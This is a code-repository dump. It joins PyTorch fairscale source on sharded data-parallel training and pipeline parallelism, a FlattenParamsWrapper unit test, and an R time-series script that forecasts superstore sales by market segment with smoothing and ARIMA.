FullyShardedDataParallel): assert m._is_root is None m._is_root = False if m.process_group != self.process_group: self.children_share_process_group = False def _setup_streams(self) -> None: """Create streams to overlap data transfer and computation.""" if len(self._streams) > 0 or not self._is_root: return # Stream to move main FP32 params (may be on CPU) to FP16 for forward. self._streams["fp32_to_fp16"] = torch.cuda.Stream() # Stream for all-gathering parameters. self._streams["all_gather"] = torch.cuda.Stream() # Stream for overlapping grad reduction with the backward pass. self._streams["post_backward"] = torch.cuda.Stream() # Helper for bucketing reduce-scatter ops. This is also shared with # children instances to improve bucket utilization. self._reducer = ReduceScatterBucketer(self.bucket_cap_mb) # We share streams with all children instances, which allows them to # overlap transfers across the forward pass without synchronizing with # the default stream. for n, m in self.named_modules(): if n != "" and isinstance(m, FullyShardedDataParallel): m._streams = self._streams m._reducer = self._reducer def _wait_for_previous_optim_step(self) -> None: """ The outer-most :class:`FullyShardedDataParallel` instance (i.e., the root instance) needs to synchronize with the default stream to ensure the previous optimizer step is done. """ if self.mixed_precision: self._streams["fp32_to_fp16"].wait_stream(torch.cuda.current_stream()) else: self._streams["all_gather"].wait_stream(torch.cuda.current_stream()) def forward(self, *args: Any, **kwargs: Any) -> torch.Tensor: self._lazy_init() # Start of a forward pass. self.training_state = TrainingState.FORWARD if self.mixed_precision: args, kwargs = cast_inputs_to_fp16(*args, **kwargs) # All-gather full parameters. This will also transfer FP32 parameters to # ``self.compute_dtype`` (e.g., FP16 if *mixed_precision* is ``True``). self._rebuild_full_params() # Register backward hooks to reshard params and reduce-scatter grads. # These need to be re-registered every forward pass. self._register_post_backward_hooks() outputs = self.module(*args, **kwargs) if self.reshard_after_forward: self._free_full_params() # Switch to main FP32 param shard. We maintain this invariant throughout # the code, i.e., ``p.data == p._fp32_shard`` after each function. This # also ensures that after the first forward, the optimizer state will be # initialized with the correct dtype and (sharded) size, since optimizer # state is typically initialized lazily in ``optim.step()``. self._use_fp32_param_shard() # Register pre-backward hooks to all-gather the params for the backward # pass (if needed). outputs = self._register_pre_backward_hooks(outputs) # Done with a forward pass. self.training_state = TrainingState.IDLE return outputs def _register_pre_backward_hooks(self, outputs: Any) -> Any: """Register pre-backward hook to run before the wrapped module's backward. Hooks should be attached to all outputs from the forward.""" if not torch.is_grad_enabled(): return outputs # don't register hooks if grad isn't enabled pre_backward_hook_has_run = [False] def _pre_backward_hook(*unused: Any) -> None: if pre_backward_hook_has_run[0]: return # only run once pre_backward_hook_has_run[0] = True # Start of a backward pass. self.training_state = TrainingState.BACKWARD # All-gather full parameters. if self.reshard_after_forward: self._rebuild_full_params() else: self._use_full_params() # Make sure p.grad has the correct size/device (or set it to None). self._prep_grads_for_backward() def _register_hook(t: torch.Tensor) -> torch.Tensor: t.register_hook(_pre_backward_hook) return t # Attach hooks to Tensor outputs. outputs = apply_to_tensors(_register_hook, outputs) return outputs def _register_post_backward_hooks(self) -> None: """Register backward hooks to reshard params and reduce-scatter grads.""" if not torch.is_grad_enabled(): return # don't register grad hooks if grad isn't enabled self._post_backward_callback_queued = False for p in self.params: if p.requires_grad: if hasattr(p, "_shard_bwd_hook"): p._shard_bwd_hook[1].remove() # remove existing handle p_tmp = p.expand_as(p) grad_acc = p_tmp.grad_fn.next_functions[0][0] handle = grad_acc.register_hook(functools.partial(self._post_backward_hook, p)) p._shard_bwd_hook = (grad_acc, handle) @torch.no_grad() def _post_backward_hook(self, param: Parameter, *unused: Any) -> None: """ At the start of :func:`_post_backward_hook`, ``param.grad`` contains the full gradient for the local batch. The reduce-scatter op will replace ``param.grad`` with a single shard of the summed gradient across all GPUs. This shard will align with the current GPU rank. For example:: before reduce_scatter: param.grad (GPU #0): [1, 2, 3, 4] param.grad (GPU #1): [5, 6, 7, 8] after reduce_scatter: param.grad (GPU #0): [6, 8] # 1+5, 2+6 param.grad (GPU #1): [10, 12] # 3+7, 4+8 The local GPU's ``optim.step`` is responsible for updating a single shard of params, also corresponding to the current GPU's rank. This alignment is created by :func:`_shard_parameters_`, which ensures that the local optimizer only sees the relevant parameter shard. """ self.assert_state(TrainingState.BACKWARD) if param.grad is None: return if param.grad.requires_grad: raise RuntimeError("FullyShardedDataParallel only works with gradients that don't require grad") # Free full params and switch to FP32 shard after backward. self._free_full_params([param]) self._use_fp32_param_shard([param]) if self.mixed_precision: # This is a no-op if reshard_after_forward is True, since we already # free the param shard when rebuilding the full params in the # pre_backward_hook. self._free_fp16_param_shard([param]) # Enqueue a callback at the end of the backward pass to ensure that all # post-backward work has finished. We only need one callback and it only # needs to be called from the outer-most (root) instance. if self._is_root and not self._post_backward_callback_queued: self._post_backward_callback_queued = True Variable._execution_engine.queue_callback(self._wait_for_post_backward) if not self.require_backward_grad_sync: return # Wait for all work in the current stream to finish, then start the # reductions in post_backward stream. self._streams["post_backward"].wait_stream(torch.cuda.current_stream()) with torch.cuda.stream(self._streams["post_backward"]): orig_grad_data = param.grad.data if self.mixed_precision and self.fp32_reduce_scatter: # Cast grad to FP32. param.grad.data = param.grad.data.to(param.dtype) if self.world_size > 1: # Average grad by world_size for consistency with PyTorch DDP. param.grad.data.div_(self.world_size) callback_fn = functools.partial(self._post_reduction_hook, param) if param._is_sharded: assert param._is_sharded assert self._reducer is not None grad_chunks = chunk_and_pad(param.grad.data, self.world_size) self._reducer.reduce_scatter_async(grad_chunks, group=self.process_group, callback_fn=callback_fn) else: # Currently the only way for _is_sharded to be False is if # world_size == 1. This could be relaxed in the future, in which # case grads should be all-reduced here. assert self.world_size == 1 callback_fn(param.grad.data) # After _post_backward_hook returns, orig_grad_data will eventually # go out of scope, at which point it could otherwise be freed for # further reuse by the main stream while the div/reduce_scatter/copy # are underway in the post_backward stream. See: # github.com/NVIDIA/apex/blob/master/apex/parallel/distributed.py orig_grad_data.record_stream(self._streams["post_backward"]) def _post_reduction_hook(self, param: Parameter, reduced_grad: torch.Tensor) -> None: """Hook to call on each param after the reduce-scatter.""" assert torch.cuda.current_stream() == self._streams["post_backward"] assert param.grad is not None self.assert_state(TrainingState.BACKWARD) param.grad.data = reduced_grad # Cast grad to param's dtype (typically FP32). Note: we do this # before the move_grads_to_cpu step so that this entire hook remains # non-blocking. The downside is a bit more D2H transfer in that case. if self.mixed_precision: param.grad.data = param.grad.data.to(dtype=param.data.dtype) # Optionally move gradients to CPU, typically used if one is running # the optimizer on the CPU. if self.move_grads_to_cpu: param._cpu_grad.copy_(param.grad.data, non_blocking=True) param.grad.data = param._cpu_grad # Don't let this memory get reused until after the transfers. reduced_grad.record_stream(torch.cuda.current_stream()) @torch.no_grad() def _wait_for_post_backward(self) -> None: """Wait for post-backward work to finish. Only called on root instance.""" assert self._is_root self.assert_state(TrainingState.BACKWARD) # Flush any unreduced buckets in the post_backward stream. with torch.cuda.stream(self._streams["post_backward"]): assert self._reducer is not None self._reducer.flush() torch.cuda.current_stream().wait_stream(self._streams["post_backward"]) if self.move_grads_to_cpu: # Wait for the non-blocking GPU -> CPU grad transfers to finish. torch.cuda.current_stream().synchronize() # A backward pass is done, update root and nested FSDP's flags. for m in self.modules(): # includes self if isinstance(m, FullyShardedDataParallel): m.assert_state(TrainingState.BACKWARD) m.training_state = TrainingState.IDLE @torch.no_grad() def _rebuild_full_params(self) -> None: """Gather all shards of params.""" with torch.cuda.stream(self._streams["all_gather"]): if self.mixed_precision: self._cast_fp32_param_shards_to_fp16() for p in self.params: if not p._is_sharded: if self.mixed_precision: p.data = p._fp16_shard continue p_size = p._full_param_padded.size() if p._full_param_padded.storage().size() != p_size.numel(): # Allocate based on full size from all shards. alloc_storage_(p._full_param_padded, size=p_size) assert p_size.numel() % self.world_size == 0 if p._is_sharded: # Fill p._full_param_padded with (p.data for each shard in self.world_size) chunks = list(p._full_param_padded.chunk(self.world_size)) dist.all_gather(chunks, p.data, group=self.process_group) else: p._full_param_padded.copy_(torch.flatten(p.data), non_blocking=True) p.data = p._full_param_padded[: p._orig_size.numel()].view(p._orig_size) if self.mixed_precision: self._free_fp16_param_shard([p]) torch.cuda.current_stream().wait_stream(self._streams["all_gather"]) @torch.no_grad() def _use_full_params(self) -> None: """Switching p.data pointers to use the full params. Note: this is used assuming full param gathering is already done. """ for p in self.params: if not p._is_sharded: if self.mixed_precision: assert p._fp16_shard.storage().size() != 0 p.data = p._fp16_shard else: assert p._full_param_padded.storage().size() != 0 p.data = p._full_param_padded[: p._orig_size.numel()].view(p._orig_size) @torch.no_grad() def _prep_grads_for_backward(self) -> None: """Make sure p.grad has the correct size/device, otherwise set it to None.""" for p in self.params: if p.grad is not None and (p.grad.size() != p._orig_size or p.grad.device != p.data.device): p.grad = None @torch.no_grad() def _free_full_params(self, params: Optional[List[Parameter]] = None) -> None: """Free up storage for full parameters.""" if params is None: params = self.params current_stream = torch.cuda.current_stream() with torch.cuda.stream(self._streams["all_gather"]): for p in params: if not p._is_sharded: if self.mixed_precision: self._free_fp16_param_shard([p]) continue # There may be external references to the Tensor Storage that we # can't modify, such as references that are created by # ctx.save_for_backward in the forward pass. Thus when we # unshard parameters, we should reuse the original Tensor # Storage object and unshard it in-place. For now, just resize # the Storage to 0 to save memory. p._full_param_padded.record_stream(current_stream) free_storage_(p._full_param_padded) @torch.no_grad() def _use_fp32_param_shard(self, params: Optional[List[Parameter]] = None) -> None: """Use FP32 shard for a list of params.""" if params is None: params = self.params for p in params: p.data = p._fp32_shard @torch.no_grad() def _cast_fp32_param_shards_to_fp16(self, params: Optional[List[Parameter]] = None) -> None: """Cast FP32 param shard to FP16 for a list of params.""" if params is None: params = self.params with torch.cuda.stream(self._streams["fp32_to_fp16"]): for p in params: assert p._fp16_shard is not None alloc_storage_(p._fp16_shard, size=p._fp32_shard.size()) p._fp16_shard.copy_( # If cpu_offload is True, this will be non-blocking because # _fp32_shard is pinned, otherwise it's a no-op. p._fp32_shard.to(p._fp16_shard.device, non_blocking=True) ) p.data = p._fp16_shard torch.cuda.current_stream().wait_stream(self._streams["fp32_to_fp16"]) @torch.no_grad() def _free_fp16_param_shard(self, params: Optional[List[Parameter]] = None) -> None: """Free storage for FP16 shards for a list of params.""" if params is None: params = self.params current_stream = torch.cuda.current_stream() for p in params: if p._fp16_shard is not None: # _fp16_shard is allocated in _fp32_to_fp16_stream, so we can't # free it until the work in the current stream completes. p._fp16_shard.record_stream(current_stream) free_storage_(p._fp16_shard) def assert_state(self, state: TrainingState) -> None: """Assert we are in the given state.""" assert ( self.training_state == state ), f"expected to be in state {state} but current state is {self.training_state}" @torch.no_grad() def cast_inputs_to_fp16(*args: Any, **kwargs: Any) -> Tuple[Any, Any]: """ Cast any Tensors in *args or **kwargs to FP16. Doesn't currently support Tensors nested inside containers (e.g., dict). """ kwarg_keys, flat_args = pack_kwargs(*args, **kwargs) tensor_inputs, packed_non_tensor_inputs = split_non_tensors(flat_args) tensor_inputs = tuple(t.half() if torch.is_floating_point(t) else t for t in tensor_inputs) flat_args = unpack_non_tensors(tensor_inputs, packed_non_tensor_inputs) args, kwargs = unpack_kwargs(kwarg_keys, flat_args) return args, kwargs def cast_buffers_( module: nn.Module, device: Optional[torch.device] = None, dtype: Optional[torch.dtype] = None ) -> None: """Cast all of module.named_buffers to device and floating point buffers to dtype.""" # if buffers are already on the right device and/or dtype this is just python loop cost assert dtype in {torch.float32, torch.float16} # assumes compute_dtype == float16 for key, buf in module.named_buffers(recurse=False): if buf is not None: buf = buf.to(device=device) if torch.is_floating_point(buf): buf = buf.to(dtype=dtype) setattr(module, key, buf) def free_storage_(data: torch.Tensor) -> None: """Free underlying storage of a Tensor.""" if data.storage().size() > 0: # Since we're modifying the Tensor's Storage directly, make sure the Tensor # is the sole occupant of the Storage. assert data.storage_offset() == 0 assert data.storage().size() == data.numel() data.storage().resize_(0) @torch.no_grad() def alloc_storage_(data: torch.Tensor, size: torch.Size) -> None: """Allocate storage for a tensor.""" if data.storage().size() == size.numel(): # no need to reallocate return assert data.storage().size() == 0 data.storage().resize_(size.numel()) <file_sep>/tests/nn/misc/test_flatten_params_wrapper.py # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the BSD license found in the # LICENSE file in the root directory of this source tree. """ Test FlattenParamsWrapper """ import unittest import torch from fairscale.nn import FlattenParamsWrapper from fairscale.utils.testing import objects_are_equal class TestFlattenParams(unittest.TestCase): def _get_transformer(self, seed=0): torch.manual_seed(seed) # keep everything deterministic module = torch.nn.Transformer( d_model=32, num_encoder_layers=2, num_decoder_layers=2, dim_feedforward=128, dropout=0.1, ) module.register_buffer("dummy_buffer", torch.tensor(1.0)) return module def _get_shared_params_transformer(self, seed=0): module = self._get_transformer(seed=seed) # share the FFNs for enc_layer, dec_layer in zip(module.encoder.layers, module.decoder.layers): dec_layer.linear1.weight = enc_layer.linear1.weight dec_layer.linear2.weight = enc_layer.linear2.weight return module def _get_output(self, module): torch.manual_seed(1) # keep everything deterministic device = next(module.parameters()).device dtype = next(module.parameters()).dtype src = torch.rand(20, 8, 32).to(device=device, dtype=dtype) # T x B x C tgt = torch.rand(10, 8, 32).to(device=device, dtype=dtype) # T x B x C return module(src, tgt) def _get_pnorm_after_step(self, module): optim = torch.optim.SGD(module.parameters(), lr=0.01) loss = self._get_output(module).sum() loss.backward() optim.step() return torch.norm(torch.stack([p.detach().norm() for p in module.parameters()])) def _test_num_params(self, module): ref_num_params = sum(p.numel() for p in module.parameters()) flat_module = FlattenParamsWrapper(module) flat_num_params = sum(p.numel() for p in flat_module.parameters()) assert ref_num_params == flat_num_params assert flat_num_params == flat_module.flat_param.numel() def _test_output(self, module): ref_output = self._get_output(module) flat_module = FlattenParamsWrapper(module) flat_output = self._get_output(flat_module) assert objects_are_equal(ref_output, flat_output) def test_partial_flattening(self): module = self._get_transformer() num_params = sum(p.numel() for p in module.parameters()) params_to_flatten = list(module.encoder.layers[1].parameters()) + list(module.decoder.layers[0].parameters()) num_params_to_flatten = sum(p.numel() for p in params_to_flatten) module = FlattenParamsWrapper(module, param_list=params_to_flatten) assert module.flat_param.numel() == num_params_to_flatten assert sum(p.numel() for p in module.parameters()) == num_params # flattened parameters are removed assert len(list(module.encoder.layers[1].parameters())) == 0 assert len(list(module.decoder.layers[0].parameters())) == 0 # non-flattened parameters remain assert len(list(module.encoder.layers[0].parameters())) > 0 assert len(list(module.decoder.layers[1].parameters())) > 0 # test that changing the module dtype works properly orig_dtype = params_to_flatten[0].dtype new_dtype = torch.float32 if orig_dtype == torch.float16 else torch.float16 assert module.flat_param.dtype == orig_dtype assert all(p.dtype == orig_dtype for p in module.encoder.layers[0].parameters()) module = module.to(dtype=new_dtype) assert module.flat_param.dtype == new_dtype assert all(p.dtype == new_dtype for p in module.encoder.layers[0].parameters()) def test_num_params(self): module = self._get_transformer() self._test_num_params(module) def test_shared_params_num_params(self): module = self._get_shared_params_transformer() self._test_num_params(module) def test_output(self): module = self._get_transformer() self._test_output(module) def test_shared_params_output(self): module = self._get_shared_params_transformer() self._test_output(module) def test_shared_params_pnorm_after_step(self): # incorrect parameter sharing is likely to cause problems after an # optimization step module = self._get_shared_params_transformer() ref_pnorm_after_step = self._get_pnorm_after_step(module) module = self._get_shared_params_transformer() # recreate flat_module = FlattenParamsWrapper(module) flat_pnorm_after_step = self._get_pnorm_after_step(flat_module) torch.testing.assert_allclose(ref_pnorm_after_step, flat_pnorm_after_step) def test_state_dict_equality(self): module = self._get_shared_params_transformer() ref_state_dict = module.state_dict() flat_module = FlattenParamsWrapper(module) flat_state_dict = flat_module.state_dict() assert objects_are_equal(ref_state_dict, flat_state_dict) def test_load_state_dict(self): module = self._get_shared_params_transformer() ref_state_dict = module.state_dict() ref_output = self._get_output(module) module = self._get_shared_params_transformer(seed=1234) flat_module = FlattenParamsWrapper(module) flat_module.load_state_dict(ref_state_dict) flat_output = self._get_output(flat_module) assert objects_are_equal(ref_output, flat_output) def test_flat_state_dict(self): flat_module = self._get_shared_params_transformer() flat_module = FlattenParamsWrapper(flat_module) ref_output = self._get_output(flat_module) flat_state_dict = flat_module.flat_state_dict() new_module = self._get_shared_params_transformer(seed=1234) new_module = FlattenParamsWrapper(new_module) new_module.load_state_dict(flat_state_dict) new_output = self._get_output(new_module) assert objects_are_equal(ref_output, new_output) @unittest.skipIf(not torch.cuda.is_available(), "test requires a GPU") class TestFlattenParamsCUDA(TestFlattenParams): def _get_transformer(self, seed=0): module = super()._get_transformer(seed=seed) return module.cuda() @unittest.skipIf(not torch.cuda.is_available(), "test requires a GPU") class TestFlattenParamsCUDAHalf(TestFlattenParams): def _get_transformer(self, seed=0): module = super()._get_transformer(seed=seed) return module.cuda().half() if __name__ == "__main__": unittest.main() <file_sep>/fairscale/nn/pipe/multiprocess_pipeline.py # # This source code is licensed under the BSD license found in the # LICENSE file in the root directory of this source tree. # Copyright 2019 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """The multiprocess pipeline parallelism of Pipe.""" import os from queue import Empty as QueueEmpty from queue import Queue from threading import Event from types import TracebackType from typing import TYPE_CHECKING, Dict, List, Optional, Tuple, Type, Union import torch from torch import Tensor, nn from torch.autograd.profiler import record_function from fairscale.nn.model_parallel import get_pipeline_parallel_ranks from .checkpoint import Checkpointing from .messages import MakeTransport, Transport from .microbatch import Batch from .skip import Namespace from .skip.layout import SkipLayout from .skip.tracker import SkipTrackerThroughPotals, use_skip_tracker from .types import ACTIVATIONS_GRADS_QUEUE, PORTAL_QUEUE, SKIP_TENSOR_QUEUE, PipeMessage, TensorOrTensors, Tensors from .worker import Task __all__: List[str] = [] ExcInfo = Tuple[Type[BaseException], BaseException, TracebackType] class SendOperator(torch.autograd.Function): """Send activations to the next pipeline stage""" @staticmethod # type: ignore def forward(ctx, src_rank, dst_rank, transport: Transport, input: List[Tensor], index: int) -> Tensors: assert src_rank == torch.distributed.get_rank() transport.send_message( PipeMessage(src_rank, dst_rank, queue_name=ACTIVATIONS_GRADS_QUEUE, args=index, tensors=tuple(input)), ) return () @staticmethod # type: ignore def backward(ctx, *grad: Tensor,) -> Tensors: return tuple(grad) class RecvOperator(torch.autograd.Function): """Receive activations to the previous pipeline stage""" @staticmethod # type: ignore def forward(ctx, dst_rank: int, tensor: Tensor, transport: Transport, index: int) -> Tensors: assert dst_rank == torch.distributed.get_rank() ctx.transport = transport ctx.index = index result = transport.get_out_of_order(ACTIVATIONS_GRADS_QUEUE, index) def maybe_requires_grad(t: Tensor) -> Tensor: if t.dtype.is_floating_point: return t.requires_grad_() return t return tuple(maybe_requires_grad(r) for r in result) @staticmethod # type: ignore def backward(ctx, *grad: Tensor,) -> Tuple[Optional[Tensor], ...]: ranks = get_pipeline_parallel_ranks() this_rank = torch.distributed.get_rank() ctx.transport.send_message( PipeMessage( this_rank, ranks[ranks.index(this_rank) - 1], queue_name=ACTIVATIONS_GRADS_QUEUE, args=ctx.index, tensors=tuple(grad), ), ) return (None, None, None, None, None) # Queue is generic only in stubs. # https://mypy.readthedocs.io/en/latest/common_issues.html#using-classes-that-are-generic-in-stubs-but-not-at-runtime if TYPE_CHECKING: InQueue = Queue[Optional["Task"]] OutQueue = Queue[Tuple[bool, Union[Tuple["Task", Batch], ExcInfo, None]]] else: InQueue = Queue OutQueue = Queue def create_task( checkpoint_stop: int, i: int, j: int, batch: Batch, partition: nn.Sequential, skip_trackers: List[SkipTrackerThroughPotals], ) -> Task: # Determine whether checkpointing or not. if i < checkpoint_stop: def function( input: TensorOrTensors, partition: nn.Sequential = partition, skip_tracker: SkipTrackerThroughPotals = skip_trackers[i], chunk_id: int = i, part_id: int = j, ) -> TensorOrTensors: with use_skip_tracker(skip_tracker), record_function("chunk%d-part%d" % (chunk_id, part_id)): ret = partition(input) # We do a check here because the backtrace from the checkpoint backward code path # is very hard to make sense. It would be much easier to check earlier at this point. assert type(ret) is not list, "Only Tensor or Tuple of Tensor output is supported" return ret chk = Checkpointing(function, batch) task = Task(None, compute=chk.checkpoint, finalize=chk.recompute) del function, chk # TODO(tom) maybe remove else: def compute( batch: Batch = batch, partition: nn.Sequential = partition, skip_tracker: SkipTrackerThroughPotals = skip_trackers[i], chunk_id: int = i, part_id: int = j, ) -> Batch: with use_skip_tracker(skip_tracker), record_function("chunk%d-part%d" % (chunk_id, part_id)): return batch.call(partition) task = Task(None, compute=compute, finalize=None) del compute # TODO(tom) maybe remove return task class MultiProcessPipeline: """The multiprocess pipeline parallelism for Pipe.""" def __init__( self, partition: nn.Sequential, skip_layout: SkipLayout, checkpoint_stop: int, group: torch.distributed.ProcessGroup, *, worker_map: Optional[Dict[int, str]] = None, input_device: Union[None, int, str, torch.device] = None, final_stage: bool = False, ) -> None: self.partition = partition self.skip_layout = skip_layout self.__checkpoint_stop = checkpoint_stop self.group = group self.training: bool self.transport = MakeTransport( use_rpc=("OMPI_COMM_WORLD_RANK" not in os.environ) or ("FORCE_RPC" in os.environ), worker_map=worker_map, input_device=input_device, ) self.input_device = input_device self.final_stage = final_stage @property def checkpoint_stop(self) -> int: # Disable checkpointing if in eval mode. training = self.partition.training if not training: return 0 return self.__checkpoint_stop def run(self, training: bool, batches: List[Batch], event: Optional[Event]) -> None: """Runs pipeline parallelism. It modifies the given batches in place. """ self.training = training m = len(batches) skip_trackers = [SkipTrackerThroughPotals(self.skip_layout, i) for i in range(m)] schedule = [(i, self.group.rank()) for i in range(m)] for i, j in schedule: if self.group.rank() != 0: batch = self.get_batch_from_previous_stage(i, skip_trackers, batches) else: batch = batches[i] task = create_task(self.checkpoint_stop, i, j, batch, self.partition, skip_trackers) batches[i] = self.execute_task(task, i, skip_trackers) def get_batch_from_previous_stage( self, i: int, skip_trackers: List[SkipTrackerThroughPotals], batches: List[Batch] ) -> Batch: phony = torch.empty(0, device=self.input_device, requires_grad=True) result = RecvOperator.apply(torch.distributed.get_rank(), phony, self.transport, i) if len(result) == 1: batch = Batch(result[0], i) else: batch = Batch(result, i) self.recv_skip_tensors(skip_trackers, batches) return batch def send_skip_tensors( self, this_rank: int, ranks: List[int], batch: Batch, i: int, skip_trackers: List[SkipTrackerThroughPotals] ) -> None: for next_j, ns, name in self.skip_layout.copy_policy_by_src(self.group.rank()): life = skip_trackers[i].portals[(ns, name)].tensor_life loaded = skip_trackers[i].load(batch, ns, name) if loaded is not None: tensors = tuple([loaded]) else: tensors = tuple() self.transport.send_message( PipeMessage( this_rank, ranks[next_j], queue_name=SKIP_TENSOR_QUEUE, args=(i, ns, name, life), tensors=tensors, ), sync=True, ) def recv_skip_tensors(self, skip_trackers: List[SkipTrackerThroughPotals], batches: List[Batch]) -> None: while True: try: message = self.transport.recv_message(SKIP_TENSOR_QUEUE, nowait=True) (si, ns, name, life) = message.args value: Optional[TensorOrTensors] = message.tensors assert isinstance(value, tuple) if len(value) == 0: value = None else: assert len(value) == 1 value = value[0] skip_trackers[si].save(batches[si], ns, name, value) old_life = skip_trackers[si].portals[(ns, name)].tensor_life if life != 0: skip_trackers[si].portals[(ns, name)].tensor_life = life except QueueEmpty: break def execute_task(self, task: Task, i: int, skip_trackers: List[SkipTrackerThroughPotals]) -> Batch: batch = task.compute() rank = self.group.rank() if not self.final_stage: ranks = get_pipeline_parallel_ranks() this_rank = torch.distributed.get_rank() self.send_skip_tensors(this_rank, ranks, batch, i, skip_trackers) SendOperator.apply(this_rank, ranks[ranks.index(this_rank) + 1], self.transport, [*batch], i) for portal in skip_trackers[i].portals.values(): portal.pipeline = self task.finalize(batch) return batch def send_portal_grad(self, ns_name: Tuple[Namespace, str], index: int, grad: TensorOrTensors) -> None: dest, src = self.skip_layout.by_ns_name.get(ns_name, (-1, -1)) if dest == src: return ranks = get_pipeline_parallel_ranks() dst_rank = ranks[dest] if dst_rank == torch.distributed.get_rank(): return if isinstance(grad, Tensor): grad = tuple([grad]) self.transport.send_message( PipeMessage(ranks[src], dst_rank, queue_name=PORTAL_QUEUE, args=(ns_name, index), tensors=grad), sync=True, ) def recv_portal_grad(self, expected_ns_name: Tuple[Namespace, str], expected_index: int) -> Tensor: message = self.transport.recv_message(PORTAL_QUEUE) (ns_name, index) = message.args grad = message.tensors assert len(grad) == 1 result = grad[0] assert index == expected_index and ns_name == expected_ns_name return result def back_helper(self, output: List[Batch]) -> None: tensors: Tensors rank = torch.distributed.get_rank() for batch in reversed(output): found = self.transport.get_out_of_order(ACTIVATIONS_GRADS_QUEUE, batch.index) if batch.atomic: tensors = tuple([batch.tensor]) else: tensors = batch.tensors if len(found) != len(tensors): raise RuntimeError("different number of tensors and gradients") grads = [] final_tensors = [] for i, tensor in enumerate(tensors): if tensor.requires_grad or getattr(tensor, "grad_fn", None) is not None: grads.append(found[i]) final_tensors.append(tensor) try: torch.autograd.backward(final_tensors, grad_tensors=grads, retain_graph=True) except Exception as e: raise RuntimeError(f"Autograd failed on {torch.distributed.get_rank()}") from e
7d3579825b9c1b2b2287e2f126e0cc01eaf50a7e
[ "Python" ]
4
Python
minhokimm202101/fairscale
77f92b385aea5a6b0ed3f722ae8eb8bc50f210f6
b8aeb54f017ea492977132c47cef37b96b1b4895
refs/heads/master
<file_sep># Time-Series-Forecast Forecasting Sales,Quantity for the upcoming 6 Months using Time series Classical forecasting and Auto arima models and calculating the accuracy of each models and recommending the best models based on Accuracy. Steps Involved: 1.Business Understanding 2.Data Understanding 3.Data Preparation & EDA 4.Model Building 5.Model Evaluation <file_sep>library(forecast) library(tseries) require(graphics) library(dplyr) library(tidyr) global <- read.csv("Global Superstore.csv") #Data Preparation and EDA: str(global) colSums(is.na(global)) table(global$Market) table(global$Segment) # Removing columns we do not need : cols <- c('Row.ID','Order.ID','Ship.Mode','Ship.Date','Region', 'Customer.ID','Customer.Name','City','State','Discount','Shipping.Cost' ,'Country','Postal.Code','Product.ID','Product.Name') global[,cols] <- NULL global$Order.Date <- as.Date(global$Order.Date,format = "%d-%m-%Y") global$Order.Date <- format(global$Order.Date,"%m-%Y") #Segment data into 21 segments in a single data frame: library(tidyr) Unitee <- unite(global, Market_Segment, c(Market, Segment), remove=FALSE) Unitee$Market_Segment <- as.factor(Unitee$Market_Segment) gate <- aggregate(list(Sales=Unitee$Sales,Profit=Unitee$Profit,Quantity=Unitee$Quantity), by=list(Market_Segment = Unitee$Market_Segment,Order_Month = Unitee$Order.Date),FUN=sum) gate<- gate[order(gate$Market_Segment,gate$Order_Month),] str(gate) table(gate$Market_Segment) #Now we have 21 segments,in the same dataframe. #Calculating CV for each Segment and Extracting the 2 most Profitable segment library(dplyr) gate %>% group_by(Market_Segment) %>% summarise(cv=sd(Profit)/mean(Profit)) %>% arrange(cv) %>% head(2) #Thus,2 most profitable segments are : EU_Consumer & APAC_Consumer # 1 EU_Consumer 0.624 # 2 APAC_Consumer 0.632 #Thus,only using subsets of EU_Consumer and APAC_Consumer for Sales and Quantity forecast ################## FORECAST SALES on EU_Consumer Segment ################################################## #CLASSICAL DECOMPOSITION: ########## Separating EU_Consumer Segments and forecasting SALES,using CLASSICAL DECOMPOSITION METHOD using Smoothing as: ##################################### ## 1.Moving Average Smoothing ## 2. Exponential Smoothing EU_Consumer <- gate %>% filter(Market_Segment=="EU_Consumer") #We need only monthly sales and quantity EU_Consumer_df <-EU_Consumer[,c('Order_Month','Sales','Quantity')] EU_Consumer_df$Order_Month <- as.Date(paste(EU_Consumer_df$Order_Month,"-01",sep=""),format = "%m-%Y-%d") EU_Consumer_df$Order_Month <- format(EU_Consumer_df$Order_Month,"%Y-%m") EU_Consumer_df <- EU_Consumer_df[order(EU_Consumer_df$Order_Month ),] EU_Consumer_df$Order_Month <- order(EU_Consumer_df$Order_Month) nrow(EU_Consumer_df) train <- EU_Consumer_df[1:42,] test <- EU_Consumer_df[43:nrow(EU_Consumer_df),] #For sales and quantity doing forecast using time series,so dropping rest of the coulmn: #Converting Sales to time series: EU_Consumer_df_totalts_sales <- ts(EU_Consumer_df$Sales) plot(EU_Consumer_df_totalts_sales) train_ts_sales <- ts(train$Sales) #train_ts_sales <- log(train_ts_sales) plot(train_ts_sales,ylab="Sales") #############SMOOTHING using Moving Average Smoothing and Exponential Smoothing ###################### #Smoothing using Moving Average Smoothing ############## w <-11 smoothedseries <- stats::filter(train_ts_sales, filter=rep(1/(2*w+1),(2*w+1)), method='convolution', sides=2) #Smoothing left end of the time series diff <- smoothedseries[w+2] - smoothedseries[w+1] for (i in seq(w,1,-1)) { smoothedseries[i] <- smoothedseries[i+1] - diff } #Smoothing right end of the time series n <- length(train_ts_sales) diff <- smoothedseries[n-w] - smoothedseries[n-w-1] for (i in seq(n-w+1, n)) { smoothedseries[i] <- smoothedseries[i-1] + diff } #Plot the smoothed time series timevals_in <- train$Order_Month lines(smoothedseries, col="blue", lwd=2) #Building a classical decomposition model on the smoothed time series using Moving Average smoothed series #First, let's convert the time series to a dataframe smootheddf <- as.data.frame(cbind(timevals_in, as.vector(smoothedseries))) colnames(smootheddf) <- c('Month', 'Sales') str(smootheddf) #Now, let's fit a multiplicative model with trend and seasonality to the data #Seasonality will be modeled using a sinusoid function lmfit <- lm(Sales ~ sin(2*Month) * poly(Month,1) + cos(2*Month) * poly(Month,1) + Month, data=smootheddf) summary(lmfit) global_pred <- predict(lmfit, Month=timevals_in) summary(global_pred) lines(timevals_in, global_pred, col='red', lwd=2) #Now, let's look at the locally predictable series #We will model it as an ARMA series local_pred <- train_ts_sales-global_pred plot(local_pred, col='red', type = "l") acf(local_pred) acf(local_pred, type="partial") armafit <- auto.arima(local_pred) tsdiag(armafit) armafit #We'll check if the residual series is white noise resi <- local_pred-fitted(armafit) adf.test(resi,alternative = "stationary") 